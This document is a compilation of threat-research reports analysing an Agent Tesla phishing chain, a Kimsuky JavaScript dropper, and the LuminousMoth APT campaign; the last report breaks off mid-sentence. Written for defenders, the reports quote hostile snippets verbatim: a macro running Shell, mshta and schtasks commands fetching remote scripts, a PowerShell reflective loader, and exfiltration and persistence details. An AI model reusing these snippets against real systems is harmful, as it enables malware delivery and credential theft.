20 Best Cybersecurity Startups To Watch In 2020. Headquartered in Alpharetta, Georgia, and with offices in Australia, Singapore, and India, Cyble has a global presence. To learn more about Cyble, visit www.cyble.com. Phishing Campaign Targeting Korean to Deliver Agent Tesla New Variant fortinet.com/blog/threat-research/phishing-campaign-targeting-korean-to-deliver-agent-tesla-new-variant December 10, 2021 FortiGuard Labs Threat Research Report Affected platforms: Microsoft Windows Impacted parties: Windows Users Impact: Collects sensitive information from victims device Severity level: Critical A phishing campaign was recently caught in the wild by Fortinet s FortiGuard Labs, that delivers a malicious Microsoft PowerPoint file. The content of the phishing email, written in Korean, asks recipients to open the attached PowerPoint file to review a purchase order. I researched what this malicious file does once the PowerPoint file is opened and have been able to confirm that it is spreading a new variant of Agent Tesla. Over the past several years, we have captured and analyzed many Agent Tesla variants. It has been quite active since 2014 when it was first observed. Agent Tesla is a .Net-based malware (developed in C#.Net, VB.Net, C++.Net, etc.) whose core function is to collect sensitive information from a victim s machine, including recording keystrokes and data on the system clipboard, stealing saved software credentials (browsers, mail clients, VPN, FTP, IM, etc.), stealing browser cookies files, and taking screenshots. In this blog we will look at the phishing email, analyze the malicious macro contained in the attachment, show how the malware is updated and maintains persistence, examine the Agent Tesla payload, and show the ways it exfiltrates stolen data and credentials. s start with how most cyberattacks begin with a phishing email. The Phishing Email Figure 1.1 Display of the phishing email The phishing email is written in Korean and its translated content has been included on the right side of the image in Figure 1.1. The attacker attempts to lure the recipient into opening the attached file to confirm a purchase order. Fortinet s FortiMail has identified this phishing email as SPAM and added a tag [SPAM detected by FortiMail] to the subject to warn the recipient, as shown in Figure 1.1. Leverage Malicious Macro in PowerPoint As you probably guessed, the attached file is fake. There is no slide in the PowerPoint file, but a macro containing an auto-run function method called Auto_Open() . This function is called once the file is opened in MS PowerPoint. Here is the VBA code of this method: Sub Auto_Open() p_ = soraj.bear.GroupName Shell p_ End Sub soraj is the name of a UserForm, bear is the name of CheckBox control inside soraj form. It calls Shell to execute a command read from the GroupName property of bear CheckBox control. In this code, soraj is the name of a UserForm and bear is the name of the CheckBox control inside the soraj form. It calls Shell to execute a command read from the GroupName property of the bear CheckBox control. Figure 2.1 The value of the property GroupName of bear Further, mshta hxxp[:]//bitly[.]com/gdhamksgdsadj is the value of the soraj.bear.GroupName which is shown in Figure 2, and is the content of a binary profile file (named ) of the VBA project. It consists of mshta and a URL, where mshta mshta.exe ) is a Windows default program that executes HTML application files, including scripts (like VBScript). The URL opened by mshta is redirected to another URL, hxxps[:]//onedayiwillloveyouforever[.]blogspot.com/p/divine111.html , which contains a piece of code used to write an escaped VBScript code to a current HTML document to be executed by mshta.exe Figure 2.2 is a screenshot of a proxy tool, allowing you to see the URL redirection and escaped VBScript code in the response packet. Figure 2.2 The escaped VBScript code in the response packet The escaped VBScript code is executed within the current HTML document using mshat.exe . I will refer to this kind of VBScript as VBScript-embedded-in-HTML in this analysis. Click here to view the entire un-escaped code of the VBScript-embedded-in-HTML. VBScript, PowerShell scripts for multiple tasks The developer uses a wide variety of scripts, including VBScript-embedded-in-HTML, standalone VBScript, and PowerShell, during the process of delivering Agent Tesla to protect it from being easily analyzed. These scripts are split into many files, and are downloaded at different times. The VBScript-embedded-in-HTML is the entry of the scripts. In the following section I will explain what they can do according to their behaviors. 1. Upgrading Task Scheduler: The malware seeks to obtain a new version (if applicable) every two hours to be executed on the victim s system. To do this the VBScript-embedded-in-HTML performs a command-line command to add a recurring task into Task Scheduler. The code snippet below is used to run schtasks command with the /create option to create a new scheduled task, as shown in Figure 3.1. args = "/create /sc MINUTE /mo 120 /tn """"update-Yendex """" /F /tr """"\""""MsHtA""""\""""hxxps://madarbloghogya.blogspot.com/p/divineback222.html"""" Set Somosa = GetObject("new:13709620-C279-11CE-A49E-444553540000") 'schtasks 'open Somosa Shellexecute StrReverse("sksathcs"), args, "", StrReverse("nepo"), 0 Figure 3.1 Added scheduled task in Task Scheduler It executes a VBScript code within a remote HTML file, then downloads the Agent Tesla payload to run on the victim system. It also detects and kills any other Agent Tesla process instances already running. This allows it to perform its upgrading function. 2. Persistence StartMenu Startup: A standalone VBS file, %Public%\hulalalMCROSOFT.vbs , extracted from VBScript-embedded-in-HTML downloads another base64-encoded VBS file from hxxps[:]//bitbucket[.]org/!api/2.0/snippets/hogya/5X7My8/b271c1b3c7a78e7b68fa388ed463c7cc1dc32ddb/files/divine12 into a local file. Going through the base64-decoded code, it saves the VBS code to a file called UYA-update.vbs located under %Public% folder. This standalone VBS file downloads the Agent Tesla payload and deploys it on the victim s system. As a result, whenever the VBS file is executed it starts Agent Tesla. To keep Agent Tesla alive on the victim s system, it copies the downloaded standalone VBS file UYA-update.vbs into the StartMenu s Startup folder and renames it as GTQ.vbs . This allows it to start automatically when the system starts. Figure 3.2 displays the Startup folder with the copied GTQ.vbs Figure 3.2 Standalone VBS file copied in StartMenu Startup folder 3. Perform process-hollowing: UYA-update.vbs continues to craft a piece of PowerShell code within a base64-decoded PE file from a local variable. It is ultimately executed by PowerShell.exe . The decoded PE file is a .Net program that contains a function named Run() belonging to class ClassLibrary3.Class1 . Below is a piece of PowerShell code used to call this function. [System.AppDomain]::CurrentDomain.Load($fuUN).GetType('ClassLibrary3.Class1').GetMethod('Run').Invoke($null, [object[]] ('11enivid/selif/c4ab4d371cd40ce3303b4d33c868122f671fd37c/do8qxn/aygoh/steppins/0.2/ipa!/gro.tekcubtib//:sptth')) The $fuUN variable contains the base64-decoded .Net PE file, from which it calls GetType() and GetMethod() to obtain the function ClassLibrary3.Class1.Run() . Next, it calls the Run() function through Invoke() and passes a parameter with a reversed URL. The URL is hxxps[:]//bitbucket[.]org/!api/2.0/snippets/hogya/nxq8od/c73df176f221868c33d4b3033ec04dc173d4ba4c/files/divine11 . Figure 3.3 is the entire code of function ClassLibrary3.Class1.Run() Figure 3.3 Function of ClassLibrary3.Class1.Run() After successfully calling "ClassLibrary3.Class1.Run()" of the decoded PE, it downloads two files from the hyperlinks: 'hxxp[:]//149.56.200.165/rump/1.txt', which is for another .Net module to perform process-hollowing, and 'hxxps[:]//bitbucket[.]org/!api/2.0/snippets/hogya/nxq8od/c73df176f221868c33d4b3033ec04dc173d4ba4c/files/divine11', which is passed from PowerShell and is where it downloads the Agent Tesla payload from. The Agent Tesla payload is fileless on the victim s system. It is only kept in the memory of the PowerShell process. The downloaded .Net module has a function named ClassLibrary1.Class1.Run() that perform the process-hollowing. It passes the Agent Tesla payload in memory and adds a path of the target process RegAsm.exe RegAsm.exe is an official component of Microsoft .Net Framework. The attacker uses it as a target process in which to inject malware to protect itself from being detected. A number of Windows API functions are called in the .Net module to deploy the Agent Tesla payload into the target process. These are: CreateProcess() with CREATE_SUSPENDED flag: This creates a suspended RegAsm.exe process. VirtualAllocEx(), NtUnmapViewOfSection(), ReadProcessMemory(), WriteProcessMemory(): These move the Agent Tesla payload to a newly-allocated memory within the suspended RegAsm.exe process. SetThreadContext()/Wow64SetThreadContext(), GetThreadContext()/Wow64GetThreadContext(): These modify the RegAsm.exe s registry value and points its EIP register to the entry point of the copied Agent Tesla payload. ResumeThread(): This resumes the execution of the RegAsm.exe process from where the EIP points to. Once completed, the Agent Tesla runs on behalf of RegAsm.exe to steal the victim s information. Agent Tesla Payload Agent Tesla provides many features, like Keylogger, obtaining Clipboard data, stealing browser cookies and saved software credentials, as well as capturing screenshots of the victim s device. Agent Tesla publishes a Setup program that allows the attacker to choose which features to enable. The Tesla Agent Setup program then compiles the Agent Tesla payload file according to those choices. Agent Tesla starts these tasks in its Main() (stealing credentials), Timer (keylogger, stealing clipboard data, taking screenshots), and Thread (stealing cookies from browsers) functions. In this variant of Agent Tesla, the attacker has only enabled stealing credentials and cookies. The count of the software clients from which it steals credentials is more than 70, and can be categorized as Web Browsers, Email Clients, IM Clients, VPN/FTP/Downloader/Database Clients, and Windows Credentials. The list of the affected software clients is listed as below: Chromium-based Web Browsers: Epic Privacy, Uran, Chedot, Comodo Dragon, Chromium, Orbitum, Cool Novo, Sputnik, Coowon, Brave, Liebao Browser, Elements Browser, Sleipnir 6, Vivaldi, 360 Browser, Torch Browser, Yandex Browser, QIP Surf, Amigo, Kometa, Citrio, Opera Browser, CentBrowser, 7Star, Coccoc, and Iridium Browser. Web Browsers: Chrome, Microsoft Edge, Firefox, Safari, IceCat, Waterfox, Tencent QQBrowser, Flock Browser, SeaMonkey, IceDragon, Falkon, UCBrowser, Cyberfox, K-Meleon, PaleMoon. VPN clients: OpenVPN, NordVPN, RealVNC, TightVNC, UltraVNC, Private Internet Access VPN. FTP clients: FileZilla, Cftp, WS_FTP, FTP Navigator, FlashFXP, SmartFTP, WinSCP 2, CoreFTP, FTPGetter. Email clients: Outlook, Postbox, Thunderbird, Mailbird, eM Client, Claws-mail, Opera Mail, Foxmail, Qualcomm Eudora, IncrediMail, Pocomail, Becky! Internet Mail, The Bat!. Downloader/IM clients: DownloadManager, jDownloader, Psi+, Trillian. Others: MySQL and Microsoft Credentials. Figure 4.1 displays the method used for stealing credentials from several clients. Figure 4.1 Method used to steal credentials from some software clients Figure 4.2 Display of stolen credentials from IceCat browser Figure 4.2 shows the credentials just stolen from a web browser, IceCat , where Browser is the software client name, Password is the saved password, is the login page, and UserName is the saved login user name. Each credentials of the stolen credentials has an above structure and saved in a global list variable, which later is formatted and sent to the attacker. Sending the Stolen Data to the Attacker There are four ways to transport the stolen data to the attacker. These are FTP Data (uploading stolen data in a file to a FTP server provided by the attacker), HTTP Post (sending data as the body of the post to a URL provided by the attacker), SMTP (sending stolen data to the attacker s email address), and Telegram (using the Telegram bot API sendDocument() to send files to a specified chat or channel). The attacker chose HTTP Post for this variant. Once Agent Tesla needs to send data to the attacker, it encrypts the stolen data using a DES algorithm and encodes the result using a base64 algorithm, which is the final data to be sent as the body in the HTTP Post request. The submission URL is "hxxp[:]//69[.]174.99[.]181/webpaneldivine/mawa/7dd66d9f8e1cf61ae198.php", which is a hardcoded string in Agent Tesla. Figure 5.1 demonstrates Agent Tesla sending stolen data as a value of in the body of HTTP POST. Figure 5.1 Stolen data being sent in the body of HTTP Post Each item of stolen data before encryption is kept in the structure header data The header contains the basic information of the victim s system: Packet number Separator Victim ID Separator Date and Time Separator string UserName/ComputerName Separator The data contains the stolen information, like credentials and cookies. Figure 5.2 Example of a packet structure with packet number Figure 5.2 shows an example of data with packet number , which contains the basic information ( header part) and the Stolen Data ( data part) that is base64-encoded cookies. 0de264895c1ed90486c73c6eb110af6c2222264a0854b0047b9ead88b718f7d0" is the Separator string that is hardcoded in Agent Tesla. The Victim ID is a MD5 hash value generated from the system s hardware information. Agent Tesla provides seven kinds of packets to send data/status to the attacker. Each packet has a packet number to identify the packet. They are and Packet : It is always the first packet to tell the attacker that Agent Tesla has started. It only contains the header data. Packet : It is sent once every 120 seconds. It is like a heartbeat to tell the attacker that Agent Tesla is alive. It only contains the header data. Packet : It is sent every 60 seconds and only contains the header data. Agent Tesla reads the response and checks if it contains uninstall . If yes, it uninstalls Agent Tesla from the victim s system, including deleting all files made by Agent Tesla and removing keys from registry that Agent Tesla created, and exits the process. Packet : It sends the victim s keystrokes (keylogger data) and stolen clipboard data within the data part of the post. Packet : It sends captured screenshots of the victim s screen within the data part of the post. Packet : It sends the credentials stolen from the software clients within the data part of the post. Packet : It sends cookies files in a ZIP archive that are collected from browsers and included within the data part of the post. Conclusion In this analysis, I have shown how this phishing campaign began by targeting Korean users. I then explained how the macro in the PowerPoint is used to execute a piece of VBScript-embedded-in-HTML code. It also leverages a complicated standalone VBS and PowerShell script code to perform multiple tasks, like upgrading, maintaining persistence, and process-hollowing. I then elaborated on what kind of software clients the Agent Tesla targets and what kind of data it is able to collect from them, as well as how the stolen data is sent to the attacker via the HTTP Post method. Fortinet Protections Fortinet customers are already protected from this malware by FortiGuard s Web Filtering, AntiVirus, FortiEDR, and CDR (content disarm and reconstruction) services, as follows: The malicious Macro inside the PowerPoint sample can be disarmed by the FortiGuard CDR (content disarm and reconstruction) service. All relevant URLs have been rated as "Malicious Websites" by the FortiGuard Web Filtering service. The PowerPoint sample attached to the phishing email and the standalone VBS file are detected as "VBA/Agent.BLY!tr" and "VBS/AgentTesla.VTO!tr.dldr" and are blocked by the FortiGuard AntiVirus service. FortiEDR detects the downloaded executable file as malicious based on its behavior. FortiMail protects Fortinet customers by blocking phishing emails and applying FortiGuard s Web Filtering, AntiVirus, and CDR (content disarm and reconstruction) technologies. In addition to these protections, we suggest that organizations have their end users also go through the FREE NSE training: NSE 1 Information Security Awareness. It includes a module on Internet threats that is designed to help end users learn how to identify and protect themselves from phishing attacks. IOCs URLs Involved in the Campaign: "hxxps[:]//onedayiwillloveyouforever[.]blogspot[.]com/p/divine111.html" "hxxps[:]//madarbloghogya[.]blogspot[.]com/p/divineback222.html" "hxxps[:]//bitbucket[.]org/!api/2.0/snippets/hogya/5X7My8/b271c1b3c7a78e7b68fa388ed463c7cc1dc32ddb/files/divine12" "hxxp[:]//149[.]56.200[.]165/rump/1.txt" "hxxps[:]//bitbucket[.]org/!api/2.0/snippets/hogya/nxq8od/c73df176f221868c33d4b3033ec04dc173d4ba4c/files/divine11" "hxxp[:]//69[.]174.99[.]181/webpanel-divine/mawa/7dd66d9f8e1cf61ae198.php" Sample SHA-256 Involved in the Campaign: .ppa / new purchase order.ppa] AA121762EB34D32C7D831D7ABCEC34F5A4241AF9E669E5CC43A49A071BD6E894 [UYA-update.vbs / GTQ.vbs] 0BBF16E320FB942E4EA09BB9E953076A4620F59E5FFAEFC3A2FFE8B8C2B3389C Learn more about FortiGuard Labs global threat intelligence and research and the FortiGuard Security Subscriptions and Services portfolio. Kimsuky Espionage Campaign inquest.net/blog/2021/08/23/kimsuky-espionage-campaign A few days ago, we found an exciting Javascript file masquerading as a PDF that, upon activation, will drop and display a PDF (to maintain the ruse) as well as drop an executable. The document is a lure for the Korean Foreign Ministry document and its newsletter. The same attack was reported earlier by Malwarebytes in June. Apparently, the threat actor behind this campaign is still using this infrastructure and infection technique. File Type Javascript Sha 256 20eff877aeff0afaa8a5d29fe272bdd61e49779b9e308c4a202ad868a901a5cd Size 27.31 MB (28634023 bytes) Image 1: Document images when opened Image 2: Virustotal The document shows shallow detection on the VT service. At the beginning of the check, the detection showed 3/58. We found this very interesting, so we decided to delve deeper into the study of its technical composition. Image 3: Opening the document in a Hex editor, we see that it is filled with data that is encoded in Base64. In order to continue our study, it is necessary to extract this data to see what it contains. Also, in the tail of the file we find the executable code, which will run when opened. Image 4: Embedded PowerShell code To ease research efforts, we present the previously mentioned executable code in a more human-readable format. Image 5: PowerShell Script In Image 5, you can see that the program will launch Adobe Reader, decode the Base64 payload, and run it in stealth mode. But to understand what it launches, we need to extract the payload from the script. As a reminder, the file size is 27.31 MB, which is quite large, not a small effort for manual data retrieval. Therefore, the easiest way is to write a simple Python script to find Base64 encoded blocks and decode them. Image 6: Base64 encoded data blocks Image 7: Base64 data import sys, base64 def openfile (s): sys.stderr.write(s + "\n") sys.stderr.write("Usage: %s\n" % sys.argv[0]) sys.exit(1) def base64Dec(dump,result): result = base64.b64decode(dump) return(result) if __name__ == '__main__': if len(sys.argv) != 3: openfile("invalid argument count") outfile = sys.argv.pop() infile = sys.argv.pop() file = open(infile,"rb") dump = bytearray(file.read()) result = bytearray(len(dump)) opendata = base64Dec(dump,result) new = open(outfile,"wb") new.write(opendata) new.close() file.close() We can extract the data and decode it with a small Python script; as a result, we were able to retrieve two files from the encoded string. Sha 256 3251c02ff0fc90dccd79b94fb2064fb3d7f870c69192ac1f10ad136a43c1ccea File Type Size 20.23 MB (21214792 bytes) File 1 If we take a close look at the first file (3251c02ff0fc90dccd79b94fb2064fb3d7f870c69192ac1f10ad136a43c1ccea) , it is clear that it is legitimate and does not represent any malware load. It was uploaded to VirusTotal on May 27 of this year. Obviously, it is used here as a lure to hide malicious actions at runtime. The second file we received is also data encoded behind two layers of Base64. Image 8: The second data block is Base64 encoded twice Sha 256 0a4f2cff4d4613c08b39c9f18253af0fd356697368eecddf7c0fa560386377e6 File Type DLL x64 Size 190.00 KB (194560 bytes) File 2 Executable library packed with UPX. But unpacking this sample is not very difficult. And so we got the payload. Sha 256 ae50cf4339ff2f2b3a50cf8e8027b818b18a0582e143e842bf41fdb00e0bfba5 File Type DLL x64 Size 474.50 KB (485888 bytes) File 2 unpacked The executable is a Kimsuky espionage tool. Image 8: Extensions for document search The malicious document looks for documents(.hwp, .pdf, .doc, .xls, .ppt, .txt) in all directories, including USB drives, with the aim of stealing them. \REGISTRY\USER\1077083310-4456979867-1000\Software\Microsoft\Windows\CurrentVersion\RunOnce \REGISTRY\USER\1077083310-4456979867-1000\Software\Microsoft\Windows\CurrentVersion\RunOnce \REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Windows\CurrentVersion\RunOnce\ESTsoftAutoUpdate = "regsvr32.exe /s \"C:\\ProgramData\\Software\\ESTsoft\\Common\\ESTCommon.dll\"" The program creates the following registry keys. Thus, after each start of the system, the library will be restarted. Image 9: Keylogger Artifacts We see the unique strings that the keylogger uses to record the data entered by the user. We find a lot of encrypted strings in the executable file. Image 10: Encrypted strings We managed to decipher all these lines. Here are some of the most interesting ones. 'Win%d.%d.%dx64' 'temp' '.bat' '\r\n :repeat\r\n del "%s"\r\n if exist "%s" goto repeat\r\n del "%%~f0"' '%d-%02d-%02d_%02d-%02d-%02d-%03d' 'kernel32.dll' 'SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System' 'ConsentPromptBehaviorAdmin' 'PromptOnSecureDesktop' 'SeDebugPrivilege' '\r1' 'regsvr32.exe' '.zip' '.enc' '.tmp' 'list.fdb' 'KeyboardMonitor' 'ScreenMonitor' 'FolderMonitor' 'UsbMonitor' '0602000000A4000052534131000400000100010005DA37C671C00B2A04759D5A143C015F4D0B38F0F83D6E4E19B309D570ADB6EEA7CACB5A59A489B9E4B8D80 1B76A0C361E7D7798E6248722DC0349400857F68C5B21474138F0D3EE0929AB1EBEA9EBB057E88D0CACB41D4A6029F459AD7B8A8D180B77DC4596745B9CF7 7DAD7B50F44B43DA8F1326E64C53DAA51807A02751E2' '0702000000A400005253413200040000010001006D4582142BA47753E19FF39DBF232B7BAEE5141CC59AB328CA25EC21BEF955FE091F90B8FF3C3D8CD00973E3 '%PDF-1.7..4 0 obj' 'User32.dll' 'SetProcessDPIAware' '2.0' b'%s/?m=a&p1=%s&p2=%s-%s-v%s.%d' 'cache' 'list.ldb' 'GetProcAddress' 'Downloads' 'Documents' 'AppData\\Local\\Microsoft\\Windows\\INetCache\\IE' 'flags' 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36' "Powershell.exe start-process regsvr32.exe -argumentlist \' AppData\\Local\\Microsoft\\Windows LoadLibraryA LoadLibraryW CreateProcessW GetTempFileNameW 'GetTempPathW' 'CopyFileW' 'MoveFileExW' 'CreateFileW' 'DeleteFileW' 'Process32FirstW' 'Process32NextW' 'CreateMutexW' 'GetModuleHandleW' 'GetStartupInfoW' 'OpenMutexW' 'FindFirstFileW' 'FindNextFileW' 'GetWindowsDirectoryW' 'GetVolumeInformationW' 'GetModuleFileNameA' 'CreateProcessA' 'GetTempFileNameA' 'GetTempPathA' 'CopyFileA' 'URLDownloadToFileA' 'URLDownloadToFileW' 'urlmon.dll' 'InternetWriteFile' 'InternetCloseHandle' 'InternetReadFile' 'InternetSetOptionExA' 'HttpSendRequestA' 'AdjustTokenPrivileges' 'texts.letterpaper.press' 'Software\\ESTsoft\\Common' 'S_Regsvr32' 'SpyRegsvr32-20210505162735' "powershell.exe start-process regsvr32.exe -argumentlist \'/s %s\' -verb runas" 'ESTCommon.dll' 'Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce' 'ESTsoftAutoUpdate' Debug lines: minkernel\\crts\\ucrt\\inc\\corecrt_internal_strtox.h IoCs hxxp://texts.letterpaper[.]press Javascript files 20eff877aeff0afaa8a5d29fe272bdd61e49779b9e308c4a202ad868a901a5cd e5bd835a7f26ca450770fd61effe22a88f05f12bd61238481b42b6b8d2e8cc3b a30afeea0bb774b975c0f80273200272e0bc34e3d93caed70dc7356fc156ffc3 0a4f2cff4d4613c08b39c9f18253af0fd356697368eecddf7c0fa560386377e6 fa4d05e42778581d931f07bb213389f8e885f3c779b9b465ce177dd8750065e2 Unpacked library. Kimsuky Spy. 0A4f2cff4d4613c08b39c9f18253af0fd356697368eecddf7c0fa560386377e6 fa4d05e42778581d931f07bb213389f8e885f3c779b9b465ce177dd8750065e2 Unpacked library. Kimsuky Spy. ae50cf4339ff2f2b3a50cf8e8027b818b18a0582e143e842bf41fdb00e0bfba5 Tags malware-analysis threat-hunting LuminousMoth APT: Sweeping attacks for the chosen few securelist.com/apt-luminousmoth/103332 APT actors are known for the frequently targeted nature of their attacks. Typically, they will handpick a set of targets that in turn are handled with almost surgical precision, with infection vectors, malicious implants and payloads being tailored to the victims identities or environment. It s not often we observe a large-scale attack conducted by actors fitting this profile, usually due to such attacks being noisy, and thus putting the underlying operation at risk of being compromised by security products or researchers. We recently came across unusual APT activity that exhibits the latter trait it was detected in high volumes, albeit most likely aimed at a few targets of interest. This large-scale and highly active campaign was observed in South East Asia and dates back to at least October 2020, with the most recent attacks seen around the time of writing. Most of the early sightings were in Myanmar, but it now appears the attackers are much more active in the Philippines, where there are more than 10 times as many known targets. Further analysis revealed that the underlying actor, which we dubbed LuminousMoth, shows an affinity to the HoneyMyte group, otherwise known as Mustang Panda. This is evident in both network infrastructure connections, and the usage of similar TTPs to deploy the Cobalt Strike Beacon as a payload. In fact, our colleagues at ESET and Avast recently assessed that HoneyMyte was active in the same region. The proximity in time and common occurrence in Myanmar of both campaigns could suggest that various TTPs of HoneyMyte may have been borrowed for the activity of LuminousMoth. 1/14 Most notably though, we observed the capability of the culprit to spread to other hosts through the use of USB drives. In some cases, this was followed by deployment of a signed, but fake version of the popular application Zoom, which was in fact malware enabling the attackers to exfiltrate files from the compromised systems. The sheer volume of the attacks raises the question of whether this is caused by a rapid replication through removable devices or by an unknown infection vector, such as a watering hole or a supply chain attack. In this publication we aim to profile LuminousMoth as a separate entity, outlining the infection chain and unique toolset it leverages, the scale and targeting in its campaigns as well as its connections to HoneyMyte through common TTPs and shared resources. What were the origins of the infections? We identified two infection vectors used by LuminousMoth: the first one provides the attackers with initial access to a system. It consists of sending a spear-phishing email to the victim containing a Dropbox download link. The link leads to a RAR archive that masquerades as a Word document by setting the file_subpath parameter to point to a filename with a .DOCX extension. hxxps://www.dropbox[.]com/s/esh1ywo9irbexvd/COVID-19%20Case%2012-11- 2020.rar?dl=0&file_subpath=%2FCOVID-19+Case+12-11-2020%2FCOVID-19+Case+12-11-2020(2).docx The archive contains two malicious DLL libraries as well as two legitimate executables that sideload the DLL files. We found multiple archives like this with file names of government entities in Myanmar, for example COVID-19 Case 12-11-2020(MOTC).rar or DACU Projects.r01 (MOTC is Myanmar s Ministry of Transport and Communications, and DACU refers to the Development Assistance Coordination Unit of the Foreign Economic Relations Department (FERD) in Myanmar). 2/14 Infection chain The second infection vector comes into play after the first one has successfully finished, whereby the malware tries to spread by infecting removable USB drives. This is made possible through the use of two components: the first is a malicious library called version.dll that gets sideloaded by igfxem.exe , a Microsoft Silverlight executable originally named sllauncher.exe . The second is wwlib.dll , another malicious library sideloaded by the legitimate binary of winword.exe . The purpose of version.dll is to spread to removable devices, while the purpose of wwlib.dll is to download a Cobalt Strike beacon. The first malicious library version.dll has three execution branches, chosen depending on the provided arguments, which are: assist system or no argument. If the provided argument is assist , the malware creates an event called nfvlqfnlqwnlf to avoid multiple executions and runs winword.exe in order to sideload the next stage ( wwlib.dll ). Afterwards, it modifies the registry by adding an Opera Browser Assistant entry as a run key, thus achieving persistence and executing the malware with the assist parameter upon system startup. 3/14 Registry value to run the malware at system startup Then, the malware checks if there are any removable drives connected to the infected system. If any are found, it enumerates the files stored on the drive and saves the list to a file called udisk.log . Lastly, the malware is executed once again with the system parameter. If the provided argument is system , a different event named qjlfqwle21ljl is created. The purpose of this execution branch is to deploy the malware on all connected removable devices, such as USB sticks or external drives. If a drive is found, the malware creates hidden directories carrying non ascii characters on the drive and moves all the victim s files there, in addition to the two malicious libraries and legitimate executables. The malware then renames the file igfxem.exe to USB Driver.exe and places it at the root of the drive along with version.dll . As a result, the victims are no longer able to view their own drive files and are left with only Driver.exe , meaning they will likely execute the malware to regain access to the hidden files. Copying the payload and creating a hidden directory on the removable drive If no argument is provided, the malware executes the third execution branch. This branch is only launched in the context of a compromised removable drive by double-clicking USB Driver.exe . The malware first copies the four LuminousMoth samples stored from the hidden drive repository to C:\Users\Public\Documents\Shared Virtual Machines\ . Secondly, the malware executes igfxem.exe with the assist argument. Finally, explorer.exe gets executed to display the hidden files that were located on the drive before the compromise, and the user is able to view them. The second library, wwlib.dll , is a loader. It gets sideloaded by winword.exe and emerged two months prior to version.dll , suggesting that earlier instances of the attack did not rely on replication through removable drives but were probably distributed using other methods such as the spear-phishing emails we observed. 4/14 Wwlib.dll fetches a payload by sending a GET request to the C2 address at 103.15.28[.]195 . The payload is a Cobalt Strike beacon that uses the Gmail malleable profile to blend with benign traffic. Downloading a Cobalt Strike beacon from 103.15.28[.]195 Older spreading mechanism We discovered an older version of the LuminousMoth infection chain that was used briefly before the introduction of version.dll . Instead of the usual combination of version.dll and wwlib.dll , a different library called wwlib.dll is in fact the first loader in this variant and is in charge of spreading to removable drives, while a second DkAr.dll library is in charge of downloading a Cobalt Strike beacon from the C2 server. This variant wwlib.dll offers two execution branches: one triggered by the argument Assistant and a second one with no arguments given. When this library is sideloaded by winword.exe , it creates an event called fjsakljflwqlqewq adds a registry value for persistence, and runs PrvDisk.exe that then sideloads DkAr.dll The final step taken by wwlib.dll is to copy itself to any removable USB device. To do so, the malware checks if there are any files carrying a .DOC or .DOCX extension stored on the connected devices. If such a document is found, the malware replaces it with the winword.exe binary, keeping the document s file name but appending .exe to the end. The original document is then moved to a hidden directory. The wwlib.dll library is copied to the same directory containing the fake document and the four samples (two legitimate PE files, two DLL libraries) are copied to [USB_Drive letter]:\System Volume Information\en-AU\Qantas If the malware gets executed without the Assistant argument, this means the execution was started from a compromised USB drive by double-clicking on the executable. In this case, the malware first executes explorer.exe to show the hidden directory with the original documents of the victim, and proceeds to copy the four LuminousMoth samples to C:\Users\Public\Documents\Shared Virtual Machines\ . Finally, it executes winword.exe with the Assistant argument to infect the new host, to which the USB drive was connected. Since this variant relies on replacing Word documents with an executable, it is possible that the attackers chose the winword.exe binary for sideloading the malicious DLL due to its icon, which raises less suspicions about the original documents being tampered with. However, this means that the infection was limited only to USB drives that have Word documents stored on them, and might explain the quick move to a more pervasive approach that infects drives regardless of their content. 5/14 Post exploitation tool: Fake Zoom application The attackers deployed an additional malicious tool on some of the infected systems in Myanmar. Its purpose is to scan the infected systems for files with predefined extensions and exfiltrate them to a C2 server. Interestingly, this stealer impersonates the popular Zoom video telephony software. One measure to make it seem benign is a valid digital signature provided with the binary along with a certificate that is owned by Founder Technology, a subsidiary of Peking University s Founder Group, located in Shanghai. Valid certificate of the fake Zoom application To facilitate the exfiltration of data, the stealer parses a configuration file called zVideoUpdate.ini . While it is unclear how the malware is written to disk by the attackers, it is vital that the .ini file is dropped alongside it and placed in the same directory in order to work. The configuration parameters that comprise this file are as follows: Parameter Name Purpose meeting Undetermined integer value that defaults to 60. ssb_sdk Undetermined integer value that defaults to 60. 6/14 zAutoUpdate URL of the C2 server which the stolen data will be uploaded to. XmppDll Path to the utility used to archive exfiltrated files. zKBCrypto List of exfiltrated file extensions that are searched in target directories. The extensions of interest are delimited with the character. zCrashReport Suffix string appended to the name of the staging directory used to host exfiltrated files before they are archived. zWebService Path prefix for the exfiltration staging directory. zzhost Path to the file that will hold a list of hashes corresponding to the files collected for exfiltration. ArgName AES key for configuration string encryption. Version AES IV for configuration string encryption. zDocConverter Path #1 to a directory to look for files with the extension intended for exfiltration zTscoder Path #2 to a directory to look for files with the extension intended for exfiltration zOutLookIMutil Path #3 to a directory to look for files with the extension intended for exfiltration Each field in the configuration file (with the exception of Version, ArgName and zCrashReport) is encoded with Base64. While the authors incorporated logic and parameters that allow the decryption of some of the fields specified above with the AES algorithm, it remains unused. The stealer uses the parameters in order to scan the three specified directories (along with root paths of fixed and removable drives) and search for files with the extensions given in the zKBCrypto parameter. Matching files will then be copied to a staging directory created by the malware in a path constructed with the following structure: \%Y-%m-%d %H-%M-%S . The string format in the directory s name represents the time and date of the malware s execution. In addition, the malware collects the metadata of the stolen files. One piece of data can be found as a list of original paths corresponding to the exfiltrated files that is written to a file named VideoCoingLog.txt . This file resides in the aforementioned staging directory. Likewise, a second file is used to hold the list of hashes corresponding to the exfiltrated files and placed in the path specified in the zzhost parameter. After collection of the targeted files and their metadata, the malware executes an external utility in order to archive the staging directory into a .rar file that will be placed in the path specified in the zWebService parameter. The malware assumes the existence of the utility in a path specified under the XmppDll parameter, suggesting the attackers have prior knowledge of the infected system and its pre-installed applications. Finally, the malware seeks all files with a .rar extension within the zWebService directory that should be transmitted to the C2. The method used to send the archive makes use of a statically linked CURL library, which sets the parameters specified below when conducting the transaction to the server. The address of the C2 is 7/14 taken from the zAutoUpdate parameter. CURL logic used to issue the archive of exfiltrated files to the C&C Post exploitation tool: Chrome Cookies Stealer The attackers deployed another tool on some infected systems that steals cookies from the Chrome browser. This tool requires the local username as an argument, as it is needed to access two files containing the data to be stolen: C:\Users\[USERNAME]\AppData\Local\Google\Chrome\User Data\Default\Cookies C:\Users\[USERNAME]\AppData\Local\Google\Chrome\User Data\Local State The stealer starts by extracting the encrypted_key value stored in the Local State file. This key is base64 encoded and used to decode the 